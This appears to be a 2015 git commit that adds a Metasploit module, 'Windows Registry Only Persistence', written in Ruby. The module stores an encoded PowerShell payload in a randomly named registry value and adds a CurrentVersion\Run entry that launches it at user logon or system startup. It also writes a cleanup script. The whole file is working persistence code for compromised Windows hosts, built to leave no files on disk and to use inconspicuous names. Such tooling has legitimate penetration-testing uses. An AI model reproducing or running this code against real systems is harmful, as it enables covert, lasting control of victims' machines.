add registry_persistence.rb

bug/bundler_fix
Donny Maasland 2015-07-01 12:26:46 +02:00
parent 399b3d2810
commit bd94f50fb0
1 changed files with 191 additions and 0 deletions

View File

@ -0,0 +1,191 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/powershell'
require 'msf/core/post/file'
class Metasploit4 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Exploit::Powershell
include Msf::Post::Windows::Registry
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Registry Only Persistence',
'Description' => %q{
This module will install a payload that is executed during boot.
It will be executed either at user logon or system startup via the registry
value in "CurrentVersion\Run" (depending on privilege and selected method).
The payload will be installed completely in registry.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Donny Maasland <donny.maasland[at]fox-it.com>',
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => "Jul 1 2015",
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'true'
}
))
register_options([
OptEnum.new('STARTUP',
[true, 'Startup type for the persistent payload.', 'USER', ['USER','SYSTEM']]),
OptString.new('BLOB_REG_KEY',
[false, 'The registry key to use for storing the payload blob. (Default: random)' ]),
OptString.new('BLOB_REG_NAME',
[false, 'The name to use for storing the payload blob. (Default: random)' ]),
OptString.new('RUN_NAME',
[false, 'The name to use for the \'Run\' key. (Default: random)' ]),
OptEnum.new('TECHNIQUE', [true, 'Execution technique', 'PSH', ['PSH']]), # Just PSH for now, might add others later.
], self.class)
end
def generate_payload_blob
if datastore['TECHNIQUE'] == 'PSH'
blob = cmd_psh_payload(payload.encoded,payload_instance.arch.first,use_single_quotes: true, encode_final_payload: true).split(' ')[-1]
end
return blob
end
def generate_cmd(root_path, blob_key_name, blob_key_reg)
if datastore['TECHNIQUE'] == 'PSH'
cmd = "%COMSPEC% /b /c start /b /min powershell -nop -c $y=(Get-Item('#{root_path}:#{blob_key_name}')).GetValue('#{blob_key_reg}'); powershell -nop -e $y" # There might be a better way to do this.
end
return cmd
end
def generate_blob_reg
blob_reg_key = datastore["BLOB_REG_KEY"] || "Software\\#{Rex::Text.rand_text_alphanumeric(8)}"
blob_reg_name = datastore["BLOB_REG_NAME"] || Rex::Text.rand_text_alphanumeric(8)
return blob_reg_key, blob_reg_name
end
def generate_cmd_reg
cmd_reg = datastore["RUN_NAME"] || Rex::Text.rand_text_alphanumeric(8)
return cmd_reg
end
def install_blob(root_path, blob, blob_reg_key, blob_reg_name)
blob_reg_key = "#{root_path}\\#{blob_reg_key}"
if not registry_enumkeys(blob_reg_key)
if registry_createkey(blob_reg_key)
print_good("Created registry key #{blob_reg_key}")
else
fail_with(Failure::Unknown,"Failed to create key #{blob_reg_key}")
end
end
if registry_setvaldata(blob_reg_key, blob_reg_name, blob, "REG_SZ")
print_good("Installed payload blob to #{blob_reg_key}\\#{blob_reg_name}")
else
fail_with(Failure::Unknown,'Failed to open the registry key for writing')
end
end
def install_cmd(cmd, cmd_reg, root_path)
if registry_setvaldata("#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", cmd_reg, cmd, 'REG_EXPAND_SZ')
print_good("Installed run key #{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{cmd_reg}")
else
fail_with(Failure::Unknown,'Could not install run key')
end
end
def get_root_path
if datastore["STARTUP"] == 'USER'
root_path = 'HKCU'
else
root_path = 'HKLM'
end
return root_path
end
def log_file(log_path = nil) # Thanks Meatballs for this
# Get hostname
host = session.sys.config.sysinfo["Computer"]
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
else
logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo))
end
# Create the log directory
::FileUtils.mkdir_p(logs)
# logfile name
logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
logfile
end
def create_cleanup(root_path, blob_reg_key, cmd_reg) # Thanks Meatballs for this
clean_rc = log_file()
@clean_up_rc = ""
@clean_up_rc << "reg deletekey -k '#{root_path}\\#{blob_reg_key}'\n"
@clean_up_rc << "reg deleteval -k '#{root_path}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v '#{cmd_reg}'\n"
file_local_write(clean_rc, @clean_up_rc)
print_status("Clean up Meterpreter RC file: #{clean_rc}")
report_note(:host => session.sys.config.sysinfo["Computer"],
:type => "host.persistance.cleanup",
:data => {
:local_id => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:commands => @clean_up_rc
}
)
end
def exploit
print_status('Generating payload blob..')
blob = generate_payload_blob
if blob.length <= 16383
print_good("Generated payload, #{blob.length} bytes")
else
fail_with(Failure::Unknown, "Payload blob is too large (#{blob.length} bytes)")
end
root_path = get_root_path
print_status("Root path is #{root_path}")
blob_reg_key, blob_reg_name = generate_blob_reg
cmd = generate_cmd(root_path, blob_reg_key, blob_reg_name)
cmd_reg = generate_cmd_reg
print_status('Installing payload blob..')
install_blob(root_path, blob, blob_reg_key, blob_reg_name)
print_status('Installing run key')
install_cmd(cmd, cmd_reg, root_path)
create_cleanup(root_path, blob_reg_key, cmd_reg)
end
end